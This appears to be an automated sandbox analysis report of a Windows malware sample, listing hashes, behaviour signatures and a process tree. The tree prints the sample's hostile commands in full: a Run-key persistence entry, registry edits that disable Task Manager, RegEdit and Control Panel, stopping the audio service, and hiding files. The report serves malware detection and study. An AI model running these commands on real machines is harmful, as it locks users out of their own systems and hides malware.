Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    01-07-2024 12:59

General

  • Target

    1b641712ef7337e80e9a1aca990fc815_JaffaCakes118.exe

  • Size

    67KB

  • MD5

    1b641712ef7337e80e9a1aca990fc815

  • SHA1

    99df880d0924181314d80ea03f6dbea39e0e5cad

  • SHA256

    e1d16bcd050157aa1d844f0f2ae4c7f02efb901e254b49b048e09699c04f77a1

  • SHA512

    ffc96de0d6f229e01ede268bb2a76f4f581f0ea1a1a78588099419e3e7be4e8814872c2a867078eec9351b2828025ae23923301eca6d5321343ba7bebfec6618

  • SSDEEP

    1536:gBejSRIZGra0WvKS3MKJ3j5kLaT5AfDWdI:JGIEhSKUZ3VHdAfSdI

Score
8/10

Malware Config

Signatures

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Runs net.exe
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1b641712ef7337e80e9a1aca990fc815_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\1b641712ef7337e80e9a1aca990fc815_JaffaCakes118.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2988
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c C:\Users\Admin\AppData\Local\Temp\a12056.bat "C:\Users\Admin\AppData\Local\Temp\1b641712ef7337e80e9a1aca990fc815_JaffaCakes118.exe"
      2⤵
      • Drops file in Windows directory
      • Suspicious use of WriteProcessMemory
      PID:2124
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v wincfg /t reg_sz /d C:\Windows\inf\wincfg.exe /f
        3⤵
        • Adds Run key to start application
        PID:1312
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDesktop /t reg_dword /d 00000001 /f
        3⤵
          PID:1932
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoActiveDesktop /t reg_dword /d 00000001 /f
          3⤵
            PID:1872
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewContextMenu /t reg_dword /d 00000001 /f
            3⤵
              PID:2068
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t reg_dword /d 00000001 /f
              3⤵
                PID:2848
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoThemesTab /t reg_dword /d 00000001 /f
                3⤵
                  PID:2796
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t reg_dword /d 00000001 /f
                  3⤵
                    PID:2616
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d 00000001 /f
                    3⤵
                    • Disables RegEdit via registry modification
                    PID:2172
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispBackgroundPage /t reg_dword /d 00000001 /f
                    3⤵
                      PID:3044
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispScrSavPage /t reg_dword /d 00000001 /f
                      3⤵
                        PID:2864
                      • C:\Windows\SysWOW64\reg.exe
                        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispSettingsPage /t reg_dword /d 00000001 /f
                        3⤵
                          PID:3020
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Start_ShowRun /t reg_dword /d 00000000 /f
                          3⤵
                            PID:2664
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Start_ShowControlPanel /t reg_dword /d 00000000 /f
                            3⤵
                              PID:2672
                            • C:\Windows\SysWOW64\net.exe
                              net stop "Windows Audio"
                              3⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2728
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop "Windows Audio"
                                4⤵
                                  PID:2732
                              • C:\Windows\SysWOW64\attrib.exe
                                attrib +h +s *
                                3⤵
                                • Views/modifies file attributes
                                PID:2696

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          • C:\Users\Admin\AppData\Local\Temp\a12056.bat

                            Filesize

                            1KB

                            MD5

                            df22fa149e2266df6f4c4f5f259b8f51

                            SHA1

                            0419b27fb477effd48327afab6d014028b872261

                            SHA256

                            54e4a1b939bacf0b7b1b9b93c5a21a966f855bdf152ce1e6d8eb8ed47739988c

                            SHA512

                            3bc1c1654e1aac78384d7862f4fc7c871d5ec4ab6ec0a7ba6459389f312dbf36fc6be6c07f3ae4d1a3bab8cb84d10bce547467a4610cd6831b0ab4e4bde202ab

                          • memory/2988-5-0x0000000000400000-0x000000000041A000-memory.dmp

                            Filesize

                            104KB